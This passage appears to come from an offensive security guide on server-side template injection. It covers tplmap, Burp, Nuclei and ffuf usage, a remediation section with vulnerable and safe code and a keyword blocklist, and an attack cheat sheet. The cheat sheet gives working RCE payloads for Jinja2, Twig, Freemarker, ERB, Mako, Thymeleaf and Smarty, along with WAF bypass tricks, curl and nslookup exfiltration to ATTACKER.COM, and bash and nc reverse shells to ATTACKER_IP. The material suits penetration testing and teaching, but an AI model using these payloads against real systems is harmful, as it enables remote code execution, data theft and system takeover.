python3 tplmap.py -u "https://target.com/hello?name=*" \
--engine Jinja2
python3 tplmap.py -u "https://target.com/hello?name=*" \
--engine Twig
python3 tplmap.py -u "https://target.com/hello?name=*" \
--engine Freemarker
# Execute OS command:
python3 tplmap.py -u "https://target.com/hello?name=*" \
--os-cmd "id"
# Interactive shell:
python3 tplmap.py -u "https://target.com/hello?name=*" \
--os-shell
# Reverse shell:
python3 tplmap.py -u "https://target.com/hello?name=*" \
--reverse-shell ATTACKER_IP 4444
# Read file:
python3 tplmap.py -u "https://target.com/hello?name=*" \
--read /etc/passwd
# Write file (webshell):
python3 tplmap.py -u "https://target.com/hello?name=*" \
--write /var/www/html/shell.php \
--upload shell.php
# Burp-style request file:
python3 tplmap.py -r request.txt
16.2 tplmap Engine Support
Supported engines:
Jinja2, Jinja2 (blind), Twig, Mako, Mako (blind), Tornado,
Freemarker, Velocity, Pebble, Jade, Slim, ERB, Tornado,
Smarty, Python (generic eval), Ruby (generic eval),
JavaScript (generic eval), Node.js, Go templates
16.3 Burp Suite — Manual SSTI Testing
1. Find a reflected parameter:
Send request to Burp Repeater
2. Inject polyglot probe:
${{<%[%'"}}%\.
→ Look for error — reveals engine
3. Inject math expressions:
{{7*7}}, ${7*7}, <%= 7*7 %>, *{7*7}
→ 49 in response → SSTI confirmed
4. Use Burp Intruder with SSTI payload list:
/usr/share/seclists/Fuzzing/template-injection.txt
→ Grep for "49" or engine-specific markers
5. Burp Active Scanner:
Right-click request → Scan → checks for SSTI automatically
16.4 Nuclei Templates for SSTI
# Run SSTI-specific templates:
nuclei -u https://target.com -t nuclei-templates/vulnerabilities/generic/ssti.yaml -v
# All injection templates:
nuclei -u https://target.com \
-t nuclei-templates/vulnerabilities/ \
-tags ssti \
-v
# With headers for authenticated scan:
nuclei -u https://target.com \
-t nuclei-templates/vulnerabilities/ \
-tags ssti \
-H "Authorization: Bearer TOKEN" \
-v
16.5 Useful SecLists
# SSTI payload wordlists:
/usr/share/seclists/Fuzzing/template-injection.txt
/usr/share/seclists/Fuzzing/SSTI/
# Use with ffuf:
ffuf -u "https://target.com/hello?name=FUZZ" \
-w /usr/share/seclists/Fuzzing/template-injection.txt \
-mr "49" \
-v
# Use with Burp Intruder:
# Attack type: Sniper → payload position on the parameter value
# Payloads: load from template-injection.txt
# Grep match: "49"
17. Remediation
17.1 Never Render User Input as a Template
# ── Flask / Jinja2 — WRONG ──
from flask import render_template_string, request
name = request.args.get('name')
return render_template_string(f"Hello {name}!") # VULNERABLE
# ── Flask / Jinja2 — SAFE ──
# Pass user input as DATA, not as part of the template string:
return render_template_string("Hello {{ name }}!", name=name)
# ── Flask / Jinja2 — SAFEST ──
# Use render_template with a static template FILE:
return render_template("hello.html", name=name)
# hello.html: <p>Hello {{ name }}</p>
// ── Twig — WRONG ──
echo $twig->createTemplate("Hello " . $_GET['name'])->render([]);
// ── Twig — SAFE ──
echo $twig->render("hello.html.twig", ['name' => $_GET['name']]);
// hello.html.twig: Hello {{ name }}
// ── Freemarker — WRONG ──
Template t = new Template("tmp", new StringReader("Hello " + userInput), cfg);
// ── Freemarker — SAFE ──
Template t = cfg.getTemplate("hello.ftl"); // static template file
Map<String, Object> root = new HashMap<>();
root.put("name", userInput); // user input as data only
t.process(root, out);
// hello.ftl: Hello ${name}
# ── ERB — WRONG ──
ERB.new("Hello #{params[:name]}").result # interpolation before template
# ── ERB — SAFE ──
@name = params[:name]
ERB.new("Hello <%= @name %>").result(binding)
17.2 Sandbox the Template Engine
# Jinja2 — Enable SandboxedEnvironment:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("Hello {{ name }}!")
result = template.render(name=user_input)
# SandboxedEnvironment restricts:
# - Access to __class__, __mro__, __subclasses__, __globals__
# - Dangerous dunder attributes
# Note: sandbox can still be bypassed — treat as defense-in-depth, not primary control
// Twig — Enable sandbox mode:
$policy = new Twig\Sandbox\SecurityPolicy(
$allowedTags,
$allowedFilters,
$allowedMethods,
$allowedProperties,
$allowedFunctions
);
$sandbox = new Twig\Extension\SandboxExtension($policy, true);
$twig->addExtension($sandbox);
17.3 Output Encoding — Prevent XSS from Template Output
# Jinja2 — autoescaping (on by default in Flask with .html templates):
env = Environment(autoescape=True)
# Force autoescape regardless:
return render_template_string("Hello {{ name | e }}!", name=name)
17.4 Use Logic-Less Templates for User-Controlled Content
// If user can define templates at all, restrict to logic-less engines:
// Use Mustache instead of Handlebars:
const Mustache = require('mustache');
const output = Mustache.render("Hello {{name}}!", { name: userInput });
// Mustache doesn't support code execution — only variable interpolation
17.5 Input Validation (Allowlist Expression Characters)
import re
def validate_template_input(user_input):
# Block template expression delimiters:
dangerous_patterns = [
r'\{\{', r'\}\}', # Jinja2/Twig/Handlebars
r'\$\{', r'\}', # Freemarker/Velocity/Thymeleaf
r'<%', r'%>', # ERB/EJS/Mako
r'#\{', r'#set', # Velocity/ERB
r'__class__', r'__mro__', r'__subclasses__',
r'popen', r'system', r'exec', r'eval',
]
for pattern in dangerous_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
raise ValueError("Invalid input")
return user_input
# NOTE: This is secondary defense — primary is never rendering user input as template
17.6 Defense-in-Depth
PRIMARY CONTROL:
├── NEVER concatenate user input into template strings
├── Always pass user input as template DATA (variables), not template CODE
└── Use static template files — never dynamically build template strings
SECONDARY CONTROLS:
├── Use sandboxed environments (Jinja2 SandboxedEnvironment, Twig Sandbox)
├── Run the app process with minimal OS privileges (not root)
├── Restrict outbound network from app server (blocks OOB/reverse shells)
├── Use read-only filesystem mounts where possible
├── Input validation — strip/reject template expression delimiters
└── WAF rules for common SSTI payloads ({{, ${, <%=, __class__, etc.)
DETECTION:
├── Log all template rendering errors (ParseException, TemplateSyntaxError)
├── Alert on template error rates above baseline
├── Monitor for outbound connections from the web process (OOB indicator)
├── DAST scanning with tplmap / Burp Active Scanner in CI/CD pipeline
└── SAST — scan code for dynamic template string construction
18. Master Cheat Sheet
Attack Decision Tree
Found a parameter reflected in the response?
│
├── Inject polyglot: ${{<%[%'"}}%\.
│ ├── Server error? → Read error message for engine name → go to engine section
│ └── No error / partial output? → try math probes
│
├── Math probe results:
│ ├── {{7*7}} → 49 AND {{7*'7'}} → 49 → JINJA2
│ ├── {{7*7}} → 49 AND {{7*'7'}} → 7777777 → TWIG
│ ├── ${7*7} → 49 → FREEMARKER / VELOCITY / THYMELEAF
│ ├── #{7*7} → 49 → ERB / THYMELEAF
│ ├── <%= 7*7 %> → 49 → ERB / EJS / MAKO
│ ├── *{7*7} → 49 → THYMELEAF
│ └── None of the above → Try tplmap auto-detection
│
├── Engine identified → Apply engine-specific RCE payload
│ ├── Jinja2 → lipsum.__globals__['os'].popen('id').read()
│ ├── Twig → ['id']|map('system')|join
│ ├── Freemarker → "freemarker.template.utility.Execute"?new()("id")
│ ├── Velocity → #set + Runtime.exec() chain
│ ├── ERB → `id` or IO.popen('id').read
│ ├── Mako → ${__import__('os').popen('id').read()}
│ └── Thymeleaf → T(java.lang.Runtime).getRuntime().exec('id')
│
├── Basic payload works? → Escalate
│ ├── Read /etc/passwd, .env, config files
│ ├── Dump environment variables (credentials, API keys)
│ ├── Enumerate filesystem
│ └── Reverse shell → post-exploitation
│
├── Payload blocked by WAF/filter?
│ ├── Try dot → bracket notation: {{''['__class__']}}
│ ├── Try alternate globals: cycler, joiner, namespace
│ ├── Hex-encode underscores: \x5f\x5f
│ ├── String concat to avoid keyword detection
│ └── Move payload to POST body / headers
│
└── No output in response (blind)?
├── Time-based: sleep / Thread.sleep / WAITFOR
├── OOB HTTP: curl to Burp Collaborator / interactsh
└── OOB DNS: nslookup $(whoami).ATTACKER.COM
Quick Payload Reference — By Engine
# ── JINJA2 (Python) ──
{{7*7}} # confirm
{{config}} # Flask config dump
{{lipsum.__globals__['os'].popen('id').read()}} # RCE
{{cycler.__init__.__globals__.os.popen('id').read()}} # RCE alt
{{lipsum.__globals__['os'].popen('cat /etc/passwd').read()}} # file read
# ── TWIG (PHP) ──
{{7*'7'}} # confirm (→ 7777777)
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}} # RCE old
{{['id']|map('system')|join}} # RCE new
{{['id']|filter('passthru')}} # RCE alt
# ── FREEMARKER (Java) ──
${7*7} # confirm
${"freemarker.version"?eval} # version
${"freemarker.template.utility.Execute"?new()("id")} # RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} # RCE alt
# ── VELOCITY (Java) ──
#set($x=7*7)${x} # confirm
#set($rt=$class.forName("java.lang.Runtime"))... # RCE (see section 7)
# ── ERB (Ruby) ──
<%= 7*7 %> # confirm
<%= `id` %> # RCE
<%= IO.popen('id').read %> # RCE alt
<%= File.read('/etc/passwd') %> # file read
<%= ENV.inspect %> # env vars
# ── MAKO (Python) ──
${7*7} # confirm
${__import__('os').popen('id').read()} # RCE
${open('/etc/passwd').read()} # file read
# ── THYMELEAF (Java/Spring) ──
[[${7*7}]] # confirm
${T(java.lang.Runtime).getRuntime().exec('id')} # RCE
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())} # RCE with output
# ── SMARTY (PHP) ──
{$smarty.version} # confirm
{php}system('id');{/php} # RCE (Smarty 3)
{'system'|call_user_func:'id'} # RCE alt
# ── OOB (Jinja2) ──
{{lipsum.__globals__['os'].popen('curl http://ATTACKER.COM/$(id|base64 -w0)').read()}}
{{lipsum.__globals__['os'].popen('nslookup $(whoami).ATTACKER.COM').read()}}
# ── BLIND TIME-BASED ──
{{lipsum.__globals__['os'].popen('sleep 5')}} # Jinja2
${"freemarker.template.utility.Execute"?new()("sleep 5")} # Freemarker
{{['sleep 5']|map('system')|join}} # Twig
<%= sleep(5) %> # ERB
tplmap Quick Reference
tplmap.py -u "URL?param=*" # auto-detect + scan
tplmap.py -u "URL?param=*" --os-cmd "id" # run command
tplmap.py -u "URL?param=*" --os-shell # interactive shell
tplmap.py -u "URL?param=*" --reverse-shell IP PORT # reverse shell
tplmap.py -u "URL?param=*" --read /etc/passwd # file read
tplmap.py -u "URL?param=*" --engine Jinja2 # force engine
tplmap.py -r request.txt # from Burp file
tplmap.py -u "URL" --data "param=*" # POST body
Reverse Shell One-Liners via SSTI
# Via Jinja2 (Flask):
{{lipsum.__globals__['os'].popen('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')}}
{{lipsum.__globals__['os'].popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f')}}
# Via Twig:
{{['bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"']|map('system')|join}}
# Via ERB:
<%= IO.popen('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1') %>
<%= `bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1` %>
# Via Freemarker:
${"freemarker.template.utility.Execute"?new()("bash -c {bash,-i,>&,/dev/tcp/ATTACKER_IP/4444,0>&1}")}
# Via Mako:
<%
import os
os.popen('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')
%>
# Listener setup:
nc -lvnp 4444
rlwrap nc -lvnp 4444 # with readline
pwncat-cs -lp 4444 # with auto-upgrade